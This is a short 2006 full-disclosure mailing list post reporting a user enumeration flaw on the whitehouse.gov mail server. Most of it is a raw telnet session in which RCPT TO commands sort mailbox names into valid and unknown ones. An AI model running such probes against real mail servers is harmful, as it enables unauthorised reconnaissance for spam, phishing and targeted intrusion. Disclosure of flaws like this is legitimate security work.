full-disclosure - User Enumeration Flaw

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Date: Sat Feb 18 22:03:07 2006
From: Mar.Shatz at education.gov.il (Mar.Shatz@...cation.gov.il)
Subject: User Enumeration Flaw

whitehouse.gov          MX      100 mailhub-wh2.whitehouse.gov
noone@box:~$ 
noone@box:~$ telnet mailhub-wh2.whitehouse.gov 25
Trying 63.161.169.140...
Connected to mailhub-wh2.whitehouse.gov.
Escape character is '^]'.
220 whitehouse.gov ESMTP service at Sun, 12 Feb 2006 11:29:38 -0500 (EST)
helo jojo
250 esgeop03.whitehouse.gov Hello [xxx.xxx.xxx.xxx], pleased to meet you
mail from:bob@....com
250 2.1.0 bob@....com... Sender ok
rcpt to:gbush@...tehouse.gov
550 5.1.1 gbush@...tehouse.gov... User unknown
rcpt to:president@...tehouse.gov
250 2.1.5 president@...tehouse.gov... Recipient ok
quit
221 2.0.0 esgeop03.whitehouse.gov closing connection
Connection closed by foreign host.

User enumeration at the whitehouse